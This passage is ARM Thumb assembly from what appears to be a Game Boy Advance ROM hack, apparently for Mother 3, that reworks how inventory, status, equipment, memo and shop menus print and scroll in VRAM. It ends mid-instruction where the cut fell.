.new_memoes_scroll_print_end_of_double: ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end mov r5,#1 mov r0,r8 and r0,r5 cmp r0,#0 beq .new_memoes_scroll_print_end ldrb r0,[r4,#0] bl $80486D8 mov r1,r0 bl .get_memoes_height //New Code ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r1 //base code mov r1,#0x1 neg r3,r1 bl $8047B9C .new_memoes_scroll_print_end: add sp,#4 pop {r3} mov r8,r3 pop {r4-r7,pc} //============================================================================================= // This hack gets the colour that should be printed for the memo item //============================================================================================= .new_memoes_scroll_print_get_colour: cmp r0,#0 bge + mov r0,#0xF b .new_memoes_scroll_print_get_colour_end + mov r0,#1 .new_memoes_scroll_print_get_colour_end: bx lr //============================================================================================= // This hack changes what the withdrawing scrolling will print, based off of 0x8047900 //============================================================================================= .new_withdrawing_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 ldr r0,=#0x4282 add r2,r3,r0 bl .get_direction //New code! cmp r0,#0 bne .new_withdrawing_scroll_print_descending mov r0,#2 ldrh r1,[r1,#8] b + .new_withdrawing_scroll_print_descending: ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xE sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 //base code lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 ldr r4,=#0x3DBC add r0,r3,r4 add r5,r1,r0 mov r7,#0xF mov r6,#0 lsr r0,r2,#0x11 cmp r6,r0 bcs + mov r8,r0 //Set the thing to print the bottom two items at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#4 ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xA bl .get_inventory_height mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq + ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0x1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C + add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the withdrawing will print, based off of 0x8047900 //============================================================================================= .new_withdrawing_a_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 ldr r0,=#0x4282 add r2,r3,r0 ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xF sub r0,r0,r1 cmp r0,#1 ble + mov r0,#1 + lsl r2,r0,#0x10 //base code lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 ldr r4,=#0x3DBC add r0,r3,r4 add r5,r1,r0 mov r7,#0xF mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq + ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xA mov r2,#0x9 mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the status menu will print, based off of 0x80472BC //============================================================================================= .new_status_print: push {r4-r7,lr} add sp,#-4 //base code ldrh r0,[r0,#0xA] bl $8054FE0 //Get character's address mov r5,r0 bl .delete_vram_status cmp r0,#0 //Can this character's data be shown? beq + b .new_status_print_end + mov r4,#0 mov r7,r5 add r7,#0x34 //Go pick up the character's equipment mov r6,#0xF - add r1,r7,r4 //Get Xth item ldrb r0,[r1,#0] cmp r0,#0 bne .new_status_print_item //Is an item equipped? mov r0,#2 bl $80486A0 //If not, order printing "-----" add r2,r4,#5 str r6,[sp,#0] mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C //Order its printing b + .new_status_print_item: ldrb r1,[r1,#0] //Load the item that has to be printed mov r0,#2 bl $8001C5C //Load its address add r2,r4,#5 str r6,[sp,#0] mov r1,#0xC mov r3,#0x16 bl $8047B9C //Order its printing + add r4,#1 cmp r4,#3 //Cycle the equipment in its entirety bls - mov r0,r5 bl $8047B0C //Print Skill ldr r0,=#0x20169FA //Has the gray text been printed? ldrh r0,[r0,#0] cmp r0,#0 beq + b .new_status_print_end + mov r0,#0x47 //If it hasn't, reprint it bl $80486A0 //Level text, get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x48 //Offense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x49 //Defense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4A //IQ text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4B //Speed text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4C //EXP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4D //Next Level text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4E //HP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#9 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x50 //PP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#9 mov r2,#4 mov r3,r5 bl improve_performances_menus.status_vram_equip_descriptors //Load OAM entries in VRAM .new_status_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the equipment menu will print, based off of 0x80470A8 //============================================================================================= .new_equip_print: push {r4-r6,lr} add sp,#-4 //base code ldrh r0,[r0,#0xA] bl $8054FE0 //Get character's address mov r5,r0 bl .delete_vram_equip cmp r0,#0 //Can this character's data be shown? beq + b .new_equip_print_end + mov r4,#0 mov r6,r5 add r6,#0x34 //Go pick up the character's equipment mov r5,#0xF - add r1,r6,r4 //Get Xth item ldrb r0,[r1,#0] cmp r0,#0 bne .new_equip_print_item //Is an item equipped? mov r0,#2 bl $80486A0 //If not, order printing "-----" lsl r2,r4,#0x11 mov r1,#0xC0 lsl r1,r1,#0xA add r2,r2,r1 lsr r2,r2,#0x10 str r5,[sp,#0] mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C //Order its printing b + .new_equip_print_item: ldrb r1,[r1,#0] //Load the item that has to be printed mov r0,#2 bl $8001C5C //Load its address lsl r2,r4,#0x11 mov r1,#0xC0 lsl r1,r1,#0xA add r2,r2,r1 lsr r2,r2,#0x10 str r5,[sp,#0] mov r1,#0xC mov r3,#0x16 bl $8047B9C //Order its printing + add r4,#1 cmp r4,#3 //Cycle the equipment in its entirety bls - ldr r0,=#0x20169FA //Has the gray text been printed? ldrh r0,[r0,#0] cmp r0,#0 beq + b .new_equip_print_end + //If it hasn't, reprint it bl improve_performances_menus.equipment_vram_equip_descriptors //Load OAM entries in VRAM mov r0,#0x47 //Level text bl $80486A0 //Get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4F //Max HP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x51 //Max PP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x48 //Offense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x49 //Defense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4A //IQ text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4B //Speed text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing .new_equip_print_end: add sp,#4 pop {r4-r6,pc} //============================================================================================= // This hack changes what the main inventory scrolling will print, based off of 0x8046EF0 //============================================================================================= .new_main_inventory_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r3,r0 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r1,r2,r0 ldrh r0,[r3,#0xA] ldrh r1,[r1,#0] //is this the key items inventory? cmp r0,r1 bcc .new_main_inventory_scroll_print_end mov r0,r3 bl .new_key_inventory_scroll_print .new_main_inventory_scroll_print_end: add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what scrolling in the key items inventory will print, based off of 0x8046FD8 //============================================================================================= .new_key_inventory_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 bl .get_direction cmp r0,#0 bne .new_key_inventory_scroll_print_descending_items mov r0,#2 //If we're scrolling up, there will be two items for sure. No need to edit r1 either. ldrh r1,[r1,#8] b + .new_key_inventory_scroll_print_descending_items: ldr r0,=#0x426A add r2,r3,r0 ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xE //Only if we're descending! sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 mov r4,#0xC2 lsl r4,r4,#6 add r0,r3,r4 add r5,r1,r0 mov r6,#0 lsr r0,r2,#0x11 cmp r6,r0 bcs + mov r7,#0xF //Set the thing to print the bottom two items at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#0x4 ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xB bl .get_inventory_height mov r3,#0x16 bl $8047B9C + mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq .new_key_inventory_scroll_print_end mov r7,#0xF //Set the thing to print the bottom item at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C .new_key_inventory_scroll_print_end: add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack gets the scrolling direction for any given menu //============================================================================================= .get_direction: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 mov r2,#1 ldrh r0,[r1,#0xA] ldrh r1,[r1,#0xE] lsr r0,r0,#1 lsr r1,r1,#1 cmp r0,r1 bne + mov r2,#0 //Going up if they're the same! Otherwise, going down! + mov r0,r2 pop {r1-r2,pc} //============================================================================================= // This hack gets the scrolling direction for any given submenu //============================================================================================= .get_direction_submenu: push {r1-r2,lr} ldr r1,=#0x2016028 ldr r2,=#0x3060 add r1,r1,r2 //Get submenu info array in RAM ldrh r0,[r1,#0x4] ldrh r1,[r1,#0x8] lsr r0,r0,#1 lsr r1,r1,#1 mov r2,#1 cmp r0,r1 bne + mov r2,#0 //Going up if they're the same! Otherwise, going down! + mov r0,r2 pop {r1-r2,pc} //============================================================================================= // This hack gets the index of the top item for any given menu //============================================================================================= .get_top_index: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xE] pop {r1-r2,pc} //============================================================================================= // This hack gets the number of items in any given menu //============================================================================================= .get_total_indexes: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0x8] pop {r1-r2,pc} //============================================================================================= // This hack gets the number of items in a character's inventory //============================================================================================= .get_character_inventory_total_indexes: push {r1,lr} ldr r0,=#0x2016028 ldr r1,=#0x426C add r0,r0,r1 ldrh r0,[r0,#0] pop {r1,pc} //============================================================================================= // This hack gets the number of show-able items in any given menu //============================================================================================= .get_possible_indexes: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xC] pop {r1-r2,pc} //============================================================================================= // This hack gets the index of the currently selected item for any given menu //============================================================================================= .get_selected_index: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xA] pop {r1-r2,pc} //============================================================================================= // This hack sets the index of the currently selected item to a specific value. // It returns in r0 the previous selected item value //============================================================================================= .set_selected_index: push {r1-r3,lr} mov r3,r0 ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xA] strh r3,[r1,#0xA] pop {r1-r3,pc} //============================================================================================= // This hack gets the difference between the top index and the total amount of items //============================================================================================= .get_difference_top_total: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xE] //Top index ldrh r1,[r1,#0x8] //Total items sub r0,r1,r0 //Total items - Top index pop {r1-r2,pc} //============================================================================================= // This hack gets the height for printing in the inventory/withdrawing menu //============================================================================================= .get_inventory_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_inventory_height_descending mov r2,#0x2 b .get_inventory_height_end .get_inventory_height_descending: mov r2,#0x9 .get_inventory_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the equip submenu //============================================================================================= .get_equip_submenu_height: push {r0,lr} bl .get_direction_submenu cmp r0,#0 bne .get_equip_submenu_height_descending mov r2,#0x2 b .get_equip_submenu_height_end .get_equip_submenu_height_descending: mov r2,#0x9 .get_equip_submenu_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the battle memoes menu //============================================================================================= .get_battle_memoes_height: push {r0,lr} bl .get_direction cmp r0,#0 beq + mov r0,#8 sub r0,r0,r6 add r2,r2,r0 + pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the memoes menu //============================================================================================= .get_memoes_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_memoes_height_descending mov r2,#0x3 b .get_memoes_height_end .get_memoes_height_descending: mov r2,#0x9 .get_memoes_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the shop menu //============================================================================================= .get_shop_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_shop_height_descending mov r2,#0x2 b .get_shop_height_end .get_shop_height_descending: mov r2,#0x7 .get_shop_height_end: pop {r0,pc} //============================================================================================= // This hack gets the color for the psi when printing in the psi menu. r0 is the input value //============================================================================================= .get_psi_usable: lsl r0,r0,#0xA cmp r0,#0 bge .psi_not_usable mov r0,#0xF b + .psi_not_usable: mov r0,#1 + bx lr //============================================================================================= // This hack is called in order to change where everything is printed in VRAM. Based on 0x80487D4 //============================================================================================= .new_print_vram_container: push {r4,r5,lr} add sp,#-4 str r0,[sp,#0] ldr r4,=#0x201AEF8 //We avoid printing OAM entries... ldr r0,=#0x76DC //Base code add r5,r4,r0 ldrb r1,[r5,#0] mov r0,#8 and r0,r1 cmp r0,#0 beq + mov r0,r4 bl $8048878 mov r0,r4 bl $80489F8 mov r0,r4 bl $8048C5C + bl .load_remaining_strings_external ldr r3,=#0x76D6 add r0,r4,r3 mov r2,#0 strb r1,[r0,#0] add r3,#1 add r0,r4,r3 strb r2,[r0,#0] lsl r1,r1,#0x18 cmp r1,#0 beq + mov r0,r4 ldr r1,[sp,#0] bl .print_vram //New code! + ldr r1,=#0x6C28 add r0,r4,r1 ldr r0,[r0,#0] ldrb r1,[r0,#0x11] cmp r1,#0 bne + ldr r2,=#0x3004B00 ldrh r0,[r2,#0] cmp r0,#0 beq + ldr r3,=#0xFFFFF390 add r0,r4,r3 ldrb r0,[r0,#0] cmp r0,#0 blt + cmp r0,#2 ble .new_print_vram_container_inner cmp r0,#4 bne + .new_print_vram_container_inner: strh r1,[r2,#0] + add sp,#4 pop {r4,r5,pc} //============================================================================================= // This hack moves the graphics for the Equip menu and the Status menu. // It also makes the arrangements point to them //============================================================================================= .new_graphics_arrangements_movement_table: dd $01A40204; dd $02A40105 .new_move_graphics_arrangements: push {r4-r7,lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] lsr r0,r0,#1 lsl r0,r0,#2 ldr r1,=#.new_graphics_arrangements_movement_table add r6,r1,r0 //Load how to move stuff, based upon the menu ldr r7,=#0x600E800 ldrh r1,[r6,#2] add r7,r7,r1 //Where to start mov r5,#0 //Current entry .new_move_graphics_arrangements_loop: mov r4,#0 //Number of tiles to move mov r1,r7 ldrh r3,[r1,#0] //Save starting tile - ldrh r0,[r1,#0] //Get how many tiles need to be moved cmp r0,#0 beq + add r4,#1 add r1,#2 b - + cmp r4,#0 //If nothing to copy, skip! beq + lsr r2,r5,#1 //Get where to put the graphics lsl r2,r2,#11 mov r1,#1 and r1,r5 lsl r1,r1,#9 add r2,r2,r1 add r2,#0x20 push {r5-r7} lsr r7,r2,#5 //Save starting tile number lsl r0,r3,#5 //Get actual address ldr r1,=#0x6008000 //Graphics start add r0,r1,r0 //Source add r1,r1,r2 //Target mov r5,r0 mov r6,r1 lsl r2,r4,#3 //Number of words to copy swi #0xC mov r0,r5 mov r1,r6 mov r2,#4 lsl r2,r2,#8 add r0,r0,r2 //Copy the bottom as well add r1,r1,r2 lsl r2,r4,#3 //Number of words to copy swi #0xC mov r0,r7 //New starting tile number mov r1,r7 add r1,#0x20 //New bottom starting tile number pop {r5-r7} mov r2,r7 //Replace arrangements mov r3,r7 add r3,#0x40 - strh r0,[r2,#0] strh r1,[r3,#0] add r0,#1 add r1,#1 add r2,#2 add r3,#2 sub r4,#1 cmp r4,#0 bne - + ldrb r1,[r6,#0] //Number of entries ldrb r2,[r6,#1] lsl r2,r2,#7 add r7,r7,r2 //How much to add to the base arrangements add r5,#1 cmp r5,r1 bne .new_move_graphics_arrangements_loop pop {r4-r7,pc} //============================================================================================= // This hack gets the selected character's number. //============================================================================================= .new_get_menu_character_number: push {r1-r3,lr} mov r2,r0 ldr r1,=#0x2016028 mov r0,#0xB8 lsl r0,r0,#6 add r0,r0,r1 lsl r1,r2,#5 add r0,r0,r1 ldrh r0,[r0,#0xA] bl $8054FE0 ldrb r0,[r0,#0] pop {r1-r3,pc} //============================================================================================= // This hack changes the target vram address to whatever we want it to be. // It uses the values found by new_get_empty_tiles //============================================================================================= .new_get_address: ldr r1,[sp,#0x20+0x24] cmp r0,r1 //If we're after a certain threshold (which depends on the menu), use the second address blt + ldr r1,[sp,#0x20+0x1C] b .new_get_address_keep_going + ldr r1,[sp,#0x20+0x20] .new_get_address_keep_going: lsl r0,r0,#0x10 lsr r0,r0,#0xB add r0,r0,r1 bx lr //============================================================================================= // This hack gets the tiles which will be empty //============================================================================================= //Table that dictates which menus are valid to read the empty buffer tiles of .new_get_empty_tiles_valid: dw $8CB7; dw $0000 //Table which dictates the limit value of a menu used to change the valid buffer tiles to the second ones .new_get_empty_tiles_limit_values: db $10; db $12; db $0F; db $FF; db $0F; db $10; db $FF; db $10 db $FF; db $FF; db $0D; db $0F; db $FF; db $FF; db $FF; db $0F db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF //Table that indicates which menus only use one line to the right instead of one to the left (safe) or two .new_get_empty_tiles_types: dw $80B7; dw $0000 .new_get_empty_tiles: push {r4-r6,lr} add sp,#-4 ldr r0,=#0x2016078 mov r1,#1 mov r2,#0 mov r3,#0 bl $8001378 ldr r1,=#0x201A288 ldr r3,=#.new_get_empty_tiles_valid ldrh r2,[r3,#2] ldrh r3,[r3,#0] lsl r2,r2,#0x10 orr r3,r2 ldrb r2,[r1,#0] mov r1,#1 lsl r1,r2 and r1,r3 cmp r1,#0 bne + ldr r6,=#0x6008000 mov r0,r6 mov r1,r6 b .end_new_get_empty_tiles + mov r3,r0 add r3,#0x82 ldr r4,=#.new_get_empty_tiles_types //Determine if this is a right single column menu or not ldrh r0,[r4,#2] ldrh r4,[r4,#0] lsl r0,r0,#0x10 orr r4,r0 mov r0,#1 lsl r0,r2 and r0,r4 cmp r0,#0 beq + ldr r4,=#0xFFF00003 //Bitmap for occupied/not occupied zone when double columned b .new_get_empty_tiles_gotten_type + ldr r4,=#0xFFF55557 //Bitmap for occupied/not occupied zone when single columned right .new_get_empty_tiles_gotten_type: mov r5,#0 ldr r6,=#.new_get_empty_tiles_limit_values add r6,r6,r2 ldrb r6,[r6,#0] cmp r2,#4 bne + mov r0,r2 bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base cmp r0,#2 beq + cmp r0,#4 beq + add r6,#1 + str r6,[sp,#0] lsl r6,r6,#1 sub r6,#2 - add r3,#0x80 ldrh r0,[r3,#0] lsr r2,r0,#5 lsl r1,r2,#5 sub r1,r0,r1 mov r0,r2 ldr r2,[sp,#0] cmp r1,r2 blt + mov r1,#1 orr r0,r1 + mov r1,#1 lsl r1,r0 orr r4,r1 //Set the zone to occupied ldsh r0,[r3,r6] lsr r2,r0,#5 lsl r1,r2,#5 sub r1,r0,r1 mov r0,r2 ldr r2,[sp,#0] cmp r1,r2 blt + mov r1,#1 orr r0,r1 + mov r1,#1 lsl r1,r0 orr r4,r1 //Set the zone to occupied add r5,#1 cmp r5,#8 blt - mov r5,#0 //Now get the free zones mov r3,#0 mov r2,#0 mov r1,#0 - mov r0,#1 lsl r0,r5 and r0,r4 cmp r0,#0 bne + mov r2,r3 mov r3,r5 add r1,#1 + add r5,#1 cmp r5,#0x20 bge + cmp r1,#2 blt - + // r2 and r3 have our numbers ldr r6,=#0x6008000 ldr r1,[sp,#0] mov r5,#1 and r5,r2 sub r2,r2,r5 lsl r2,r2,#5 cmp r5,#1 bne + orr r2,r1 + lsl r2,r2,#5 add r0,r2,r6 mov r5,#1 and r5,r3 sub r3,r3,r5 lsl r3,r3,#5 cmp r5,#1 bne + orr r3,r1 + lsl r3,r3,#5 add r1,r3,r6 ldr r2,=#0x201A288 ldrb r3,[r2,#0] ldr r4,=#.new_get_empty_tiles_limit_values ldrb r2,[r4,r3] cmp r3,#4 bne + mov r4,r0 mov r0,r3 bl .new_get_menu_character_number //All characters in skills besides the PSI users use 0x10 as a base mov r3,r0 mov r0,r4 cmp r3,#2 beq + cmp r3,#4 beq + add r2,#1 + lsl r3,r2,#5 sub r1,r1,r3 .end_new_get_empty_tiles: add sp,#4 pop {r4-r6,pc} //============================================================================================= // This hack negates VRAM printing for a frame //============================================================================================= .negate_printing: ldr r0,=#0x20225D4 //Don't print this frame ldrb r1,[r0,#0] mov r2,#9 neg r2,r2 and r1,r2 strb r1,[r0,#0] bx lr //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. //============================================================================================= .up_down_scrolling_print: push {lr} add sp,#-0xC bl .new_get_empty_tiles str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_up_down ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements and the graphics around, then allows re-printing. // It only prints what needs to be printed. //============================================================================================= .move_and_print: push {lr} bl .new_print_menu_up_down pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. // This version takes pre-established free tiles instead of determining them on the fly //============================================================================================= .up_down_scrolling_print_no_get_empty_tiles: push {lr} add sp,#-0xC str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_up_down ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack combines all the hacks above. // It moves the arrangements around instead of re-printing everything. // It only prints what needs to be printed. // This version takes pre-established free tiles instead of determining them on the fly //============================================================================================= .pressing_a_scrolling_print_no_get_empty_tiles: push {lr} add sp,#-0xC str r2,[sp,#8] str r0,[sp,#4] str r1,[sp,#0] bl .new_print_menu_a ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 - mov r0,#1 bl .new_print_vram_container mov r0,r4 bl $803E908 ldr r0,=#0x2013040 //Check for two names with a total of 41+ letters on the same line. ldrb r1,[r0,#2] //Max item name size is 21, so it's possible, but unlikely. ldrb r2,[r0,#3] //At maximum 2 letters must be printed, so it's fast. cmp r1,r2 //Can happen with (pickled veggie plate or jar of yummy pickles or saggittarius bracelet bne - //or mole cricket brother) + bag of big city fries on the same line. add sp,#0xC pop {pc} //============================================================================================= // This hack swaps the arrangements in order to not re-print everything when removing/moving an item //============================================================================================= .new_generic_swap_arrangement: push {r3-r6,lr} mov r4,r0 //This has the selected index before anything was removed/moved. //Using that covers the player selecting the last item and getting //their cursor moved ldr r5,=#0x2016978 bl .get_positions_lines_array mov r6,r0 bl .get_possible_indexes sub r3,r0,#1 cmp r4,r3 //Cover edge case bge + - mov r0,r4 //Swap a single item's arrangement bl .new_handle_selling_swap_arrangement bl .new_general_swap_single_line add r4,#1 cmp r4,r3 blt - + mov r0,r3 bl .new_handle_selling_swap_arrangement bl .new_general_clear_final_line //Clear the last item's arrangement pop {r3-r6,pc} //============================================================================================= // This hack copies an item's arrangements in order to not re-print everything when moving an item //============================================================================================= .new_generic_copy_arrangement: push {r4-r7,lr} mov r4,r0 //This has the selected index before anything was removed/moved. //Using that covers the player selecting the last item and getting //their cursor moved mov r3,r1 //Put in r3 whether to copy from or to the item's arrangement mov r7,r2 //Put in r7 the target ldr r5,=#0x2016978 bl .get_positions_lines_array mov r6,r0 mov r0,r4 //Copies a single item's arrangements from/to r7 mov r1,r3 mov r2,r7 bl .new_general_copy_single_line pop {r4-r7,pc} //============================================================================================= // This hack handles the selling special case //============================================================================================= .new_handle_selling_swap_arrangement: push {lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] cmp r1,#0xB bne + lsl r0,r0,#1 add r0,#1 + pop {pc} //============================================================================================= // This hack swaps the deposit arrangements in order to not re-print everything when depositing an item. // It also handles the inventory arrangements swapping //============================================================================================= .new_inventory_deposit_swap_arrangement: push {lr} ldr r0,[r0,#0x8] bl .new_generic_swap_arrangement pop {pc} //============================================================================================= // This hack copies one line of inventory's arrangements in order to not re-print everything when moving an item. //============================================================================================= .new_inventory_copy_arrangement: push {lr} ldr r0,[r0,#0x8] bl .new_generic_copy_arrangement pop {pc} //============================================================================================= // This hack swaps the withdraw arrangements in order to not re-print everything when withdrawing an item //============================================================================================= .new_withdraw_swap_arrangement: push {lr} ldr r1,[r0,#4] ldr r0,[r0,#8] sub r0,r0,r1 bl .new_generic_swap_arrangement pop {pc} //============================================================================================= // Hack that stores the flag that puts the arrangement buffer back to VRAM //============================================================================================= .store_arrangements_buffer: push {r0-r5,lr} mov r0,#0x0 //Order printing a blank tile bl $80486A0 //Blank text, get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#0 mov 